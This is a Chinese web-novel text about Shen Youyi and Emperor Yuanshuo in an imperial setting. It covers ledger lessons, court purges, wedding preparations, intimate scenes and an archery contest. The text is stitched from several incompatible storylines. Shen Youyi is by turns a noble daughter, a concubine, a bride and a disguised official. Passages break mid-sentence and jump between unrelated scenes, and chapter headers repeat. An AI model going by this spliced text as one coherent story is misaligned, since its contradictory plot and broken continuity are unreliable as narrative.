姑娘们来日都是要做当家主母,掌一府中馈的。虽说有底下人可以代为分忧,但自己不能对账目一窍不通,白白给了外人欺上瞒下的机会。 秦氏捧了手炉,偶尔到厢房中看上一眼。 沈家的姑娘们学得认真,时时记录,只是理账难免枯燥无味。 四姑娘沈姗逐渐听得昏昏欲睡,账房先生的声音陡然拔高,她一个激灵醒神,茫然无措地看向离自己最近的沈幼宜。 沈幼宜随手一指,示意先生讲到此处。 沈姗将信将疑,听了一会儿果不其然。 她不禁纳闷,也没见这个姐姐有多么全神贯注,怎么回回都能跟上夫子。 冗长的一段课业授完,王嬷嬷取来几册账目。 沈府今岁年节的支出明细,账房已经誊抄了几份,交由姑娘们点算总额。 珠算盘清脆的声音很快在厢房内响起,沈姗捧着账本对得认真。 沈幼宜信手翻了几页账目,并未碰手边的算盘,只偶尔写下一笔。 王嬷嬷在上头看得蹙眉,有意道:“三姑娘可是算好了?” 她笃定对方不会使珠算盘,账房先生正欲指教时,熟料听得沈幼宜道:“正月初一至初十,府上共支现银六百三十七两五钱。” 沈幼宜顿了顿:“大小席宴三百二十两三钱,后宅赏银二百一十两,其余杂项共计一百零七两二钱。” 珠算盘的声音霎时静了下去,沈姗盯着自己算了十之一二的账本,抬首时在二姐的眼中同样看到了不可思议。 账房先生赶忙去翻册页,沈幼宜搁了笔,这其中还不算沈府年前的大肆采买,不算各府人情往来,收礼入账,简单得很。 秦氏上前,账房先生赶忙将总账奉上。 王嬷嬷取了三姑娘记账的白纸,一应数额清晰明了,核对无误。 账房先生擦了擦额间冷汗,几乎已无言以对。 沈幼宜得了清闲,翻开其他账册,一目十行扫下去。宁远伯府不愧是百年大族,数代的积累,想必田庄、商铺数不胜数,光拿来给姑娘们练手的就有三五家的账本。 虽说如今朝中无人,但也是几辈子享用不尽的富贵荣华。 沈幼宜轻拨珠算盘,顺手算出了这几月在册几家商铺的盈余,还有年节前后沈府的总帐,随意记在纸上。 手法之轻灵娴熟,直叫王嬷嬷瞪圆了眼。 “夫人,这……” 沈幼宜这厢驾轻就熟,一旁的沈姗却遇见不小的麻烦,有一笔账目怎么也对不上。 “三、三姐。” 她歇了气,老老实实求教,态度尚可。 沈幼宜扫一眼她杂乱无章的算纸,圈出两处错漏。 四姑娘的珠算盘重新拨响,从午后到黄昏,等到天黑尽,才堪堪算出一笔总账。 身侧的位置早已空下,三姐一早就回了自己院中休息。 也没有人敢拦她。 沈姗悄悄瞥一眼,自己算出的总额与三姐纸上的其中一列数额对上。 她长长舒一口气,今日若再让她算出剩下的,只怕连觉都不用睡了。 她看着那张条理分明的账纸,心中只余一个念头:“好生厉害。” 谢明霁对此兴趣缺缺,不过是因母亲数次叮嘱,才不得不来这一趟罢了。 秦氏手中折了枝梅花,原本暗暗留心着姗儿的机会,侍女来禀道:“夫人,三姑娘到了。” 她心中微有不悦,但既是自家府上的席宴,三姑娘一面未露也不合待客之道。 秦氏勉强撑起一张笑脸,颔首示意丫鬟请人过来,又对几位夫人道:“我家的三姑娘,今日正好也见见。” 在座的夫人们多少听闻过沈府接回了一位三小姐,一时不免好奇。 谢明霁无可无不可,他闲来无事,偶然向那梅花树下款步而来的女郎投去一眼时,几乎是立时怔在了原处。 女郎一袭粉霞色撒花珠缎锦裙,如云的墨发挽作飞仙髻,缀上几支暖玉发钗。晶莹剔透的玉质,衬出一张倾城沈颜。 宣国公夫人心中暗暗点头,当真是个极标志的美人。单论沈貌,放眼京中出挑的女孩儿,无一人能与之相较。 待得她近前,盈盈对几位长辈一礼,礼数分毫不差。 宣国公夫人转头,难得地见自家儿子这般怔愣神色。 她有意牵线:“这便是宜儿吧?” 秦氏笑道:“正是。” 沈幼宜福了福:“姨母万安。” 她落落大方,含了两分恰到好处的笑意。 谢夫人笑着对儿子道:“你三表妹近日才归家,还不来认一认?” 沈幼宜顺着对谢明霁一礼,依言唤道:“表兄。” 一声“清悦”的表兄,堪堪叫谢世子回神。 他望去时,精准无误地在沈幼宜眸中看到了一抹戏谑。 谢明霁:“……” 他很快笑了笑,回道:“表妹安好。” 他几乎为这妖精神魂颠倒! 他这样出尔反尔,得寸进尺得厉害,沈幼宜几乎要生气了,她什么好处都得不到,被他撩拨后就撂在半空中,不上不下的难受,他竟然还不满足! 可元朔帝的语气十分柔和,极诚恳又羞赧地索求,被那样一双眼睛望着,她一时觉得他可怜,左右不费多少时间,只是哄人吃药的法子未免太过奇特了些。 但她预估的这一回有些错。 这回药当真冷了,她吩咐内侍进来更换,脑后的青丝被揉得纷乱,声音都有些发哑,含嗔带怨地瞥了元朔帝一眼,吐出去后轻咳了两声,直到他喝完了那药才勉强消了些气,传了水进来。 殿中这些事瞒不住内侍宫人,她索性在他身侧自暴自弃地躺下。 帝王康健时也极少与她不分时辰地作乐,更不要说病弱之人,他得了两次,总该足意。 第 65 章 第 65 章 元朔帝并不介怀,他确实行了骗,含笑辩驳:“宜娘不许朕近朱者赤?” 他已三十有七,不单单是盼着能与心爱的女子生儿育女,更忧虑东宫立储的事情。 与儿子喜欢、争抢同一个女子的君王不少,大多难以善了。 他没有随手将宜娘赐予旁人的慷慨,那便要承受与太子反目的结果。 沈幼宜又不是听不出他话里的玩笑,哪里是近朱者赤,他自己心地不善,还要揶揄是她墨黑,染坏了他:“可我欺骗陛下是迫不得已,陛下骗我……就为赚一个女人的几滴眼泪和身子么!” 元朔帝默了默,赵王的法子固然奏效,可他仍有些不大适应不存一丝脸面与后路的袒露,用力握了握她的手:“那也都是朕肺腑之言。” 元朔帝近日心情莫名郁躁,胸口止不住的杀意,浓烈的戾气中藏了几分不可言状的不安。 尽管沈幼宜后面解释女子妒忌乃乱家之源,她自小铭记圣人教诲,为人妻者须遵三从四德,柔顺孝恭,宽容不妒。 换作从前,元朔帝遇见这样一位通情达理的妻子定然多一份欣赏,但这个人偏偏是沈幼宜。 他心里总觉得哪里不对劲,但又说不上来为什么,有种难以描述的无力感。 元朔帝强行压下胸间不适,秘密招严珩一进宫,给他一份名单。 “国库空虚,你带人按照上面的去定罪抄家,在登基大典前赶回来。” 登基大典第二日便是帝后大婚。 严珩一接过一看,上面都是之前为求庇护,地方上送孝敬给元朔帝的贪官和富商们,他指着第一页最上头的名字打趣道:“人家每年给你十万两雪花银,你现在居然要过河拆桥,真狠啊。” 元朔帝不以为意,“以前是以前,现在是现在。再说,他们给钱的时候难道我没有替他们遮掩吗?” 现在他不需要钱了,自然要严格执行大虞律令。 严珩一最佩服元朔帝的一点就是他翻脸比翻书还快,前一刻还在跟人言笑晏晏推杯交盏,下一瞬就能毫不犹豫诛人全族。 认真说起来,皇帝不算冤枉他。 元朔帝确实充当过一段时间地方腐败官员的保护伞,让他们大肆敛财,鱼肉百姓。 究其原因乃世族之间盘根错节,你中有我,我中有你,仅凭一人之力焉能摧毁。 况且元朔帝母族势微,根本无法提供助力,他自己夹在皇帝与皇后之间,如履薄冰。龚州水患一事让元朔帝看清楚了要想彻底铲除这群毒瘤,决不能在明面上对着干。 他剑走偏锋,欲先取之,必先予之。 高门世家自诩尊贵,嫡脉瞧不上庶出,旁支瞧不上远亲,然而世上谁人不想功成名就,富贵无极,于是元朔帝向这些“壮志难酬”之辈递出橄榄枝。 他们要名,要权,他要钱,要矿。 钱用来招人,矿用来铸器。 与此同时,他利用与严珩一明面上的敌对关系,将出身寒门,不愿趋炎附势的有志之辈赶出京城,实则是保护。 他筹谋多年,终于在沈皇后寿宴那日从根本上消灭祸乱根源,现在该轮到其余的虫豸之徒。 严珩一收起册子,谈完正事,他开始聊私事:“朱雀大街最外边有套二进的小宅子,殿下能不能赐给我?” 元朔帝挑眉:“你又要养外室?” 严珩一花名在外,红颜知己遍布京城大街小巷,偏偏迫于父命娶了个悍妇,每次他要纳妾,严府总要闹一回鸡飞狗跳。 “别胡说!”严珩脸色一变,摆摆手赶紧为自己正名:“之前我不是跟你说过,招了个用剑的好手,这次能在荒山虎口里活下来,多亏了他。他准备娶媳妇,我琢磨着送他一套宅子当做新婚贺礼。再说,人家帮忙办事还受了伤,不得犒劳一下?” 元朔帝皮笑肉不笑:“你送?” 严珩一:“我替你送。” 元朔帝对得力下属向来大方,不在乎这点身外之物。 严珩一满意地准备打道回府。 “慢着。” 元朔帝叫住他,在严珩一疑惑的眼光里说出这几日困扰自己的问题。 “严夫人为什么不喜欢你纳妾?” 严珩一的目光从疑惑变成了古怪。 御书房里的灯已经熄灭,屋内陷入诡异的静谧,元朔帝手肘撑在御案上方,双掌交叠,眸中的暗色比夜更幽深。 严珩一说,天下的女子没有一个会甘愿和别的女人分享丈夫。 他问有没有例外。 严珩一斩钉截铁否认。 “除非她不爱你。” 元朔帝回寝殿时已过子时,更深露重。 他掀起床帘,沈幼宜睡在床榻里侧背对着他,被子盖过大半个后脑勺,看不清面容。 她身子蜷缩贴紧墙壁,像是要将自己藏起来,偌大的床榻不仔细看,几乎可以忽略她的存在。 元朔帝面无表情审视她,脑海里一直回荡严珩一那句话。 沈幼宜睡得迷迷糊糊,隐约听见有响动声,然后又消失重归静谧,只不过这份安静里带了些许如芒背刺的骇然。 她睡得不大安稳,但无法撑开沉重的眼皮。 不知过了多久,锦被忽然钻入寒凉的潮气,紧接着她被人翻过去,落入宽大的怀里。 还不等她适应,密密麻麻地吻落在唇瓣上,猛烈地让人有点头晕目眩,呼吸也乱了节奏。 沈幼宜慢慢清醒过来,对上元朔帝的眼眸,主动伸手环住他的脖子,嗓音带着刚睡醒时独有的慵懒软糯:“今天这么晚?” 元朔帝没有回答,拇指扣在粉嫩细腻的脸颊上,来回摩挲,冷静观察她的表情。 烛光透过纱帐落在她迷蒙的双眸上,映照出她眼里浓郁的眷恋与热烈,让他心惊,让他沉沦。 “嘶——”沈幼宜微蹙娥眉,带着几分不解:“你弄疼我了。” 她的声音闷闷的,软软的,尾音打着旋儿,不像反抗,更像邀请,邀请他弄得更疼一点。 元朔帝无声地笑了,重新俯身而去。 沈幼宜只愣了片刻,收紧勾住他脖颈的手,热情回应。 温热的气息盈满床帐,冲散夜的寒凉。 天边泛起微微鱼肚白。 元朔帝臂弯里的人呼吸规律绵长,他偏过头无声凝视。 沈幼宜的唇瓣上还残留些许润泽,水光潋滟,像清晨绽放的红玫瑰般艳稠。 她怎么可能不爱他。 元朔帝拢紧手臂,把人又往怀里带了带,慢慢闭上眼假寐,脑海里反驳严珩一的话。 世上没有两片相同的叶,更不会有相同的人,将所有女子归成一类,实属草率。 沈幼宜睡醒已是日上三竿,然而天色灰蒙蒙的,远处的黑云连成一片往前压,屋内弥漫着山雨欲来风满楼的沉抑。 枕边人早已离开,她揉了揉昏沉的脑袋,摸着床沿起身。 听见响动,守在门口的右想轻轻推门进来,将屋内剩余的蜡烛悉数点亮。 明亮的光团在殿内氤氲蔓延,驱散昏暗。元朔帝是人,他也会累,只不过不会显于人前。 但沈幼宜不一样,她是他的妻,与他百年之后埋在一起,生生世世相伴的人。 从前他不在乎自己的妻子是谁,只要能给他带来足够的利益,故而元朔帝不介意给那些自命清高贵女一点微不足道的甜头,看她们争先恐后向自己示好。 感受着柔软的指腹贴着他的额角,元朔帝惊叹于她看上去手无缚鸡之力,力道却不小。 他比一般人耐受力强上三分,而沈幼宜却能精准拿捏分寸。 恰到好处的力量让他紧绷的神经得到极大缓解,扫去一天的疲惫。 她似乎有一种神奇的力量,让元朔帝在她身边不由自主放松下来,他的意识渐渐昏沉。 沈幼宜低头凝视俊朗的面庞,视线最后落在他深邃的眉眼上,目光迷离。 即便说她卑鄙无耻,她也认了。 沈幼宜在心底暗暗发誓,她一定会好好对元朔帝,用余生补偿他。 屋里留了三盏烛灯,元朔帝特意吩咐不许灭,焰火精准覆盖到屋内每一个角落,又不至于太亮影响休息。 夜晚的风更大了,青纱帐在空中飞舞,借着暖黄的光晕在两人身上落下忽明忽暗的阴影。 沈幼宜俯身,慢慢贴近怀中人,小心地在他眉心落下一吻。 在她看不见的地方,元朔帝的唇角漾开一丝若有似无的笑意。 元朔帝跟沈幼宜有商有量,对其他人可没有那么好的脾气,哪怕是自己的亲弟弟。 赵明澜仗着是元朔帝的关系,在这个节骨眼不老实呆着,还叫嚷着请元朔帝善待皇帝,勿忘皇帝的谆谆教诲云云。 元朔帝都被他气笑了,当即把赵明澜与皇帝关在一道,又命令每日除了送饭,不许人进去伺候,成全赵明澜尽孝的心。 阖宫的妃嫔们听闻此事,老老实实缩在自己宫里,成年的皇子们被各自母妃耳提面命不许闹事,未成年的也不敢在此时冒头。 她们都被元朔帝的手段吓怕了,再也不想经历宫变那数十日的绝望。 除了后宫,前朝亦然。 朝臣们以为这次宫变后必然会导致一段时间内朝纲不振。 元朔帝杀了如此多的高门公卿,再加上不少人历此大劫后萌生去意,有上书称病的,有告老还乡的,短短几日官吏人员减损过重,官署内门可罗雀。 谁料吏部忽然接到一本厚厚的册子,上面写满人名,亦写清了他们调动的职位,人数之多,补足空缺绰绰有余。 细细一看,里面有不少曾经因得罪元朔帝而被贬谪到偏远地区的官员,五年前的状元,三年前的榜眼,还有一杆子曾经在京都熠熠发光,却转瞬自动请缨去外地赴任的俊才们。 他们都有一个共同的特点,背后没有靠山。 或出身不显,或门第败落,亦或者得罪权贵无法保全自身,选择藏锋敛锷远走他乡。 吏部尚书还看到一个熟悉的名字,常桓。 此人是去年的探花,因其相貌俊美,文采出众被皇帝点为探花郎,游街时惹得不少闺中少女一见倾心。 有位京城的小姐看中探花郎,想要榜下捉婿,在得知对方已有妻儿的情况下竟然派人去灭口。好在她们途中遇上严珩一,将人救了下来。 常桓当时就去告了御状,然而皇帝却以没有造成人命草草揭过,只因对方是上京大族,牵一发而动全身。 因为他的不识好歹,在官场上被同僚排挤,最终在严珩一的建议下请调离京。 诸如此类的例子不胜枚举,吏部尚书看着密密麻麻的人名,内心震动不已。 果然元朔帝来者不拒,只要在位期间没有重大过失的官员,他一律准许归乡荣养,而有重大过失的则直接拖出去斩首。 血腥气又一次席卷京城,寸土寸金的朱雀大街因此降了三成地价。 等到养病的官员回过神急急回来销假,发现早已没有他们的位置,悔之晚矣。 元朔帝用行动告诉这些个倚老卖老的官员,他们不做,有的是人等着发光发热。 保住乌纱帽的官员们则收起侥幸心理,他们原本以为杀戮过后必是安抚,故而端起架子等元朔帝礼贤下士,顺便再捞些好处弥补惊吓,谁曾想元朔帝釜底抽薪,压根不在乎他们。 是以,当他要立沈幼宜做皇后时,前朝竟无一人敢因她生母卑微而置喙。 沈幼宜被拥着更衣,洗漱,最后坐在落地铜镜前梳妆。 右想拿起一支翠玉海宜簪替她挽发,在瞥见镜中人右嘴角留有齿痕时,不动声色用脂粉替她遮盖。 “上回娘娘说想要喜服上改用火焰莲云纹,尚衣局的人已经修制完毕,等会便送过来。届时您再瞧瞧有什么要修改的地方,让她们加紧做。” 离登基大典还有三日,三日之后又是大婚,整个内廷忙成一锅粥,生怕出差错,尤其是新帝吩咐大婚以皇后的喜好为主,少不得有诸般改动。 但她们不敢有怨言,御花园青石板缝里残存的血沫提醒所有人,新帝对与他共患难的妻有多重视。 沈幼宜独自用过午膳,凉风骤起,吹得人昏昏欲睡。 昨夜元朔帝折腾了许久,每次刚陷入深眠便会被闷醒,反复数次,令人头疼。 索性现下无事,她干脆重回榻上休憩,等着嫁衣送来。 沈幼宜心里生出一点隐秘的期待,这件衣服,藏了她不能宣之于口的私心。会试之后,十八名同考官在此批阅五经试卷,故而得名。 沈幼宜还是第一次这般悠闲地在贡院中穿行,观诸般房舍。 她原先对贡院的印象,只有逼仄的号舍而已。 二人坐于廊下,帝王声音有几分追忆:“朕初次见你,便是在这一条街巷中。” 他奉父皇之命主持科举,几乎日日往来于贡院。 那时的她着一件绯红色的锦袍,墨发束起,站在糖画摊子前满眼期待。 样貌这样出挑的小郎君,来来往往总惹人瞩目,连糖画的摊主给她画的糖人都比寻常大些。 一连三日,差不多的时刻总能遇见她上街买糖人,手中无一例外提着各色吃食。 而第四日见到她,则是在殿试的武英殿前。 他知晓了她的名字,会试时令诸位考官拍案叫绝的一篇《赋役之至论》,正是出自她的手笔。 沈幼宜垂眸:“看来我与陛下,当真是有缘。” 尚未到宁远伯府外,沈幼宜远远便见府门洞开。 仆从于街巷间往来洒扫,一丝不苟。 以宁远伯与秦氏为首,伯府的主支皆肃衣候于中门前。连白日在明安堂读书的沈姗,一个时辰前都已被匆匆接回。 迟迟没有三姑娘的消息,宁远伯已经打发了好几拨人去寻,正在焦躁时。 沈幼宜才下车驾,宁远伯与夫人立刻迎上前来。 “好孩子,你可算回来了。” 秦氏今日换了二品诰命夫人服制,按品大妆,发髻上金翟钗分毫不乱。 宁远伯眉宇间难掩喜色,说与沈幼宜道:“礼部午前递了消息,未时三刻,宣诏官便该到伯府了。” 府上出了这样大的喜事,秦氏已早早预备好打点之物。 她亲热地揽过沈幼宜:“时辰不早,快些随母亲去更衣准备吧。” 沈幼宜不大习惯她这样的亲近,只安静点一点头。 从午前知道消息,宁远伯府上下已忙作一团。 沈姗生了好奇之心,悄声问向长姐:“阿姊,会是什么旨意啊?” 见两位妹妹都看来,沈姝神色微有复杂:“我想,应当是册妃的圣旨。” 另一厢,左思伏跪在御书房地上,脸色微白。 旁边放了箱从西巷口拾掇出来的旧物,里面装的是元朔帝平日里写字画画用过的纸,一般而言这类东西要么烧掉,要么封起来由专人保管,以防被有心之人盗用。 左思按照惯例准备集中焚毁,然而在检查时发现了一叠丹青图,是沈幼宜练习临摹元朔帝而作。 问题就出在她的画上。说书人手中一把折扇打、刺、劈、砍,讲到关键处醒木一拍,绘声绘影的叙述,立时将看客们引入渗人的月圆之夜。 沈幼宜瞧身旁的元朔帝亦不知不觉听得入神,漂亮的眼眸忽闪,蕴了两分不怀好意的笑。恰似初初消融的春日泉水,泠泠动人。 她忍了又忍没有给郎君透底,取了一块果脯,听惊堂木响,听说书人接着往下讲。 虽说是同一册书,但字面上看过是一回事,身临其境地听说书人讲演又是另一回事。 白日里布帘遮起,茶楼内半明半暗,唯有蜡烛以供照明。几份要紧的书案置于御书房案头,谢明霁往金平府稽查科举舞弊一案,尚未有可靠消息传来。不过以巡检赋税为名,倒是敲出不少心虚之徒,补上数笔钱粮。 帝王回过金平府的书信,近来朝中政事大体平顺,唯有户部稍稍棘手些。 “什么时辰了?” “回陛下,未时二刻。陛下可要用些茶点?” 秦让换了新茶,说来膳房最近为了讨宸妃娘娘欢心,琢磨出不少新鲜花样,陛下还能沾一沾宸妃娘娘的光。 “不必。” 秦让退下,元朔帝换过一本户部奏案。 户部官员本就青黄不接,又撤了几位首辅余党,眼下更无可用之人。 已经到三月里,去岁的税赋明细户部仍未点算清楚,借托国丧之名,多有延误。 好在鱼鳞图册将近编纂完毕,耗费数年之功,终归值当。 户部人手不足,已从其余五部中借调。 元朔帝批复一封奏章,户部的烦心事又何止这两桩。 奏疏堆于一处,沈后发还。 “陛下,明琬宫遣了人来,说是奉宸妃娘娘之命给您送些糕点,您看一一” 秦让代向萍通传,也是感慨这位姑娘来的时机不大凑巧。 “送进来罢。” 帝王清冷的声音自殿中传出,秦让接了食盒:“是。” 向萍满心欢喜:“有劳秦总管。” “姑娘客气了。” 秦让进殿一趟,将食盒交还给向萍时,感慨道:“你们娘娘总算肯动些心思了。” 双层的食盒,里头精心选了四五种点心,依次呈于御案上。 几丝风吹入,烛火摇晃间,说书人讲到县令长子失踪时,府上情境一如十五年前,书房桌上有几份摊开的卷宗,蜡烛已燃尽,窗户半开,但却人去楼空。 看客们屏息凝神,大气也不敢出。 乡里谣言四起,道这处宅邸是不折不扣的鬼宅凶宅,专于中秋月圆夜夺人性命。十五年前害了老县令,十五年后又杀其子。 沈幼宜签上的果脯吃了一半,霎时就觉得不甜了。 所有人的目光汇聚在说书人身上,他满意地饮了口茶水,故作停留。 整座茶楼寂静无声,接着往下听。 丈夫长子接连于同一地同一日失踪,老夫人哭得肝肠寸断。仅剩的小儿子不顾劝阻,独自一人住入凶宅查案,夜阑人静,由此剧情推至顶峰。 元朔帝面如沉水盯视案桌上依次排列的画,画中人无一例外都没有完整的五官,缺失的都是眉眼以下部位。 他们眉眼弯成下弦月,即便没有嘴,也能看出笑如灿阳。 元朔帝平日里也爱笑,身边人最常见的是他温和中带着敷衍的笑,其次是冷漠的笑,笑里藏刀的笑。 左思一眼就看出画中人与元朔帝气质完全不像,何况本人。 大殿里静悄悄,昏沉沉的,灯芯偶尔一声细微的噼啪响,惊得内殿的宫人们愈发缩紧脖子,屏住呼吸。 难掩的压抑在屋内蔓延,迫得人胆战心惊,又不敢真哆嗦引人注意。 轰隆一声惊雷落地,刺眼的白光一道照出元朔帝的沉眸敛眉,另一道落在沈幼宜恍惚的眼眸中。 身上的嫁衣与她想象中的一模一样,不,甚至比想象的更好。 繁复精巧的火纹掺了金线,缝制在衣摆的每一个边角,她穿上后像被火焰包围。 有奇闻异志记载,据说若将火焰纹绣满新人的喜服,他们会得到火神的祝福,灵魂被火融在一起,哪怕死亡也不能分离。 他认真跟她说的时候,她装作不以为意,转身在暗地里悄悄收集各种火焰纹,勤加练习。 沈幼宜看着镜子中孤身的自己,蓦地红了眼。 右想误以为她是喜极而泣,赶忙注意力,“娘娘要不要试妆,看看有没有再改的地方。” 沈幼宜扫了眼托盘里绚烂精美,玲珑华贵的珠钗步摇,轻轻摇了摇头。 “不用,把我的木簪拿过来。”“她没去拿信?”元朔帝站在烟波洲的窗户前,神色冷淡:“连看也没看?” 今日左思以有事为由请元朔帝离开,就是为了给沈幼宜制造机会,谁曾想后面她竟真的埋头苦练起来,直到天蒙蒙黑才离开。 “兴许是没看见。”左思寻思着哪个小姐被他家殿下这么教一下,不得丢了魂,更何况沈幼宜本就喜欢元朔帝,说不准早默默已弃暗投明。 元朔帝对沈幼宜的喜欢毫不在意,冷笑了声:“明天务必让她‘看见’。” 翌日,沈幼宜照旧打扮了一番来见元朔帝,手里还提着单层圆形樏盒。 “我没什么可以报答殿下的,正巧云梦阁的院子里有棵桂花树,竟提前开了。”沈幼宜拿出点心,献宝似的放到元朔帝面前,笑吟吟道:“做了几块桂花糕,请您尝尝。” 糕点做成小兔子的形状,眼睛用两朵金灿灿的桂花点缀,煞是可爱逼真。 左思忽然出言:“哟,这点心看上去真精致,不知奴才能不能讨一块尝尝。” 沈幼宜笑容凝滞了下,看了眼元朔帝,他脸上带着浅笑,却没有阻止,突然想到什么,推到左思面前:“当然。” 左思寻了一双银筷子,夹住最上面的一只往嘴里放,艰难咽下去后开口道:“这也太甜了!” 立刻端起旁边的茶水灌了几大口,等那股齁甜的劲儿散去,他随口道:“皇子妃娘娘,殿下喜欢吃咸口的。” 沈幼宜的笑淡了下去,她伸手从里面拿起一只小白兔,轻轻咬了口含在嘴里,轻声道:“就是要这么甜才好吃。” 不等元朔帝品尝,她自个儿又拿起一块吃起来。 “我正好饿了。”沈幼宜低头道,声音有些低落:“下次再给殿下做别的。” 元朔帝笑着说好。 沈幼宜把带来的糕点尽数吃了干净,吃完后也没有喝一口茶,看得左思目瞪口呆,一度以为自己味觉出了问题。 而沈幼宜发现元朔帝自始至终都没有伸手去碰那叠点心。 今日学画,元朔帝给他画了个样式,又提点几句后就被叫出去处理事情,屋内只剩沈幼宜一个人在练习。 她练得格外认真,像发了疯一样,借此逼自己忘记今日愚蠢的决定,可收效甚微。 他们根本不是一个人。谢谦欲递弓时,元朔帝吩咐人换了力道最轻的一张弓。 沈幼宜接过,调试弓弦的动作还算有模有样,也勉强能拉开弓。 韦范和甄源都将目光投来,对沈大人的箭术存了几分好奇。 沈幼宜认命地站到场中,她一介文官,与他们比试箭术是有多为难自己。 所以她顺理成章地挑了最近的一张箭靶,又犹豫着能否让人再挪近些。 她心虚地回头瞥了一眼昭王,想想还是作罢。若是挪近了还射不中,大约就更找不到借口了。 元朔帝也在看她,神色显然比方才看旁人射箭时认真了两分。 沈幼宜取了箭,拉开弓弦,瞄准了靶心的方向。 再三确认后她松手,箭矢飞出,很快被温和的春风吹歪了些。 弓当然是好弓,奈何一连射了三箭,只有第二箭堪堪擦过箭靶,其余两箭皆奔向了自由。 沈幼宜看着空荡荡的箭靶,低头时自己都忍不住笑了笑。 她将弓交还给一旁的侍从,回到昭王身边时,有些不敢看他的眼睛。 虽说不能和上过战场的人相比,但到底还是有几分丢人的。 谢谦咳嗽两声,换了旁人他必定要嘲弄几句,尤其对面还是东宫的人。偏偏他看阳光下沈大人的模样,恍惚间有一种自己欺负了人的错觉。 他最后只是委婉道:“沈大人要不找请位高明些的夫子,再练练?” 平心而论,他这话说的已然十分客气。 场中突兀地静了一会儿,唯余风声。 元朔帝淡淡道:“行了,选了弓就早些去办差。”他转向沈幼宜,“走吧。” “哦。”沈幼宜点头,很快跟上。 恭送殿下离去,谢谦回忆起方才昭王殿下的神色,品出几分不对劲来。 他道:“我怎么瞧着,殿下好像有些不大高兴?” 甄源也如此想,二人一起看向韦范。 韦范笑了笑:“你方才说,让沈大人找位高明些的夫子?” 沈幼宜气恼地丢下笔,眼前一片雾蒙蒙,窗外的风一吹,眼睛微凉,热雾也渐渐散去。 她重新拾起竹笔,一点一点临摹。 竹林下,一个人踮脚张望,他的五官还是歪七扭八的,看不出本来的模样。 沈幼宜闭了闭眼,视线不由自主地投向元朔帝的书桌,离她最远的边缘放着一封信,她认得上面的名字。 顾焱的直属上司,严珩一,亦是坠崖身亡的钦差大臣。 她起身走到窗前,拾起信看了半晌。 青梅突然闯进来,问她什么时候回云梦阁。 沈幼宜被吓了一跳,手中的信也因此飘落在地上。 元朔帝允许她进书房学画,但书房这样要紧的地方,沈幼宜自然知道要避嫌,故而每日都让青梅在外间耳房等候,等结束学习后再一同回云梦阁。 她自己也时刻注意分寸,从不乱翻东西,也不乱走,每日只在书桌前固定一小块地方活动。 沈幼宜对着她皱了皱眉,“你怎么进来了?” 青梅没心没肺道:“天暗了,再不回去小心迷路,我有点怕黑。” 西巷口是废殿建筑群,宫殿之间间隔遥远,路上也没有灯。地广人稀,在夜里行走时林风穿心而过,冷得叫人发慌,总觉得暗处藏着什么东西,随时把人抓进去。 沈幼宜看了眼天色,发现远处皇宫内已经点了灯,天边浮起一层微微的黄晕,显得西巷口愈发黑沉。 “我去跟殿下说一声。” 右想不明所以,还是照做。 沈幼宜接过后替自己熟练地挽了个极简单的发髻,转头对右想嫣然一笑:“好看吗?” 微焦的发簪近乎深黑,松松挽在柔顺的青丝上,不细看难以找寻。旁边有松散的发垂落,被一只素手随意勾起挂在而后。 没有一丝粉黛装饰,却美得像一幅画,尤其是乌黑的杏眼笑吟吟望过来时,温婉清丽,姣美动人。 右想愣了一下,还没来得及说出那句赞美之词,门口传来元朔帝回宫的唱喏声。 声响还未停歇,他人已大步流星踏入内殿。 右想跟在元朔帝身边伺候多年,立刻察觉出他面如常色下的薄怒,看到他挥手示意人都下去后,朝沈幼宜投去一个担忧的眼神。 然而她正沉浸在穿上新衣的兴奋中,完全忽视右想的提示,转而将问题抛给元朔帝。 元朔帝站在她身前三步之遥,一言不发,不带感情的眸光在她身上寸寸掠过。 沈幼宜仿佛毫无所觉,提着厚重的裙摆朝他走来,满眼期待抬头看他:“再有三天,我们就成亲了。” 她脸上的快乐和幸福几乎溢出来。 元朔帝伸手,用力揽过她的细腰,紧紧禁锢在胸前。 他忽然觉得自己有些可笑,竟然被心里那点虚无缥缈的不安困扰数日。 沈幼宜是他的妻子,画上的人除了他还能是谁。 她的心,她的身,都属于他。 元朔帝偏过头在她耳边轻语:“我们早就成亲了,不是吗?” 沈幼宜意识到他话中的深意后眼眸微暗,垂眸轻颤长睫间细弱蚊蝇地嗯了声。 宛如一个信号。 束腰的封带被骤然扯下,冗重的裙重重落在地上,紧接着大掌精准地寻到与鬓发融为一体的木簪。 发簪一去,浓密的乌发顷刻间如瀑般洒落。 他眸色渐暗,嗓音低沉缠绵。 “这回,你准备好了吗?” 后宫里不得宠的美人大多艰难如此,沈幼宜露出些动容,轻轻叹道:“年少时我从不把阿兄的话放在心上,如今想来,他劝我不要入宫,确是一番好意。” 她生得再美,再会勾引男子,也总有会不喜欢她的郎君,万一遇上了这么一个君王,即便侥幸封妃,也难免晚景凄凉。 赵月来绝不是这个意思,贵妃若不进宫,那便遇不上陛下,他有心调开话头,殷勤道:“赵王从邯郸带了些礼物送与娘子,不知您可想瞧一瞧?” 那些宗室亲王送与她的礼物,沈幼宜并不怎么喜欢,无功不受禄,赵王为太后爱子,要殷勤巴结她,必然有些缘故。 可她同皇帝之间的事情,和他强夺人妾又不完全相同,如何混为一谈。 她摇了摇头,轻声道:“我想换一身衣裳,到嘉德殿去请安。” 赵月来的心骤然狂跳,贵妃想干的事情件件能把人吓上一跳,没有圣上陪着,太后娘娘这时候要是见了贵妃,恨不得将其生吞活剥,贵妃还要上前去触这个霉头! 第 66 章 第 66 章 皇帝圣躬违和,太后一直很是挂心,虽然有时候也瞧不上赵王的做派,可焦头烂额时,身旁有这么一个儿子承欢,倒也得到些安慰。 她不愿意深想,国赖长君,太子虽未废黜,可是被皇帝这样对待,日后未必能服众,二皇子虽为嫡出,可生来体弱,不要说皇帝,就是她也无法满意,因此再瞧见眼前这个荒唐的儿子又难免心浮气躁。 “皇帝往越州平叛的时候,你这个做叔叔的就是监国,怎么不知道多在子惠身上留心些?” 太后想起仍被关在东宫的长孙,还是十分惋惜:“不要说沈氏无罪,就算是当真有罪,也该缓一缓,我和你阿兄平日是怎么包容你的呢?” 元朔帝在太子选妃这件事上出乎意料尊重了太子自己的选择,要说沈幼宜做她的孙媳妇,太后不觉得她能做得多好,但也不至于弄出这许多丑事。 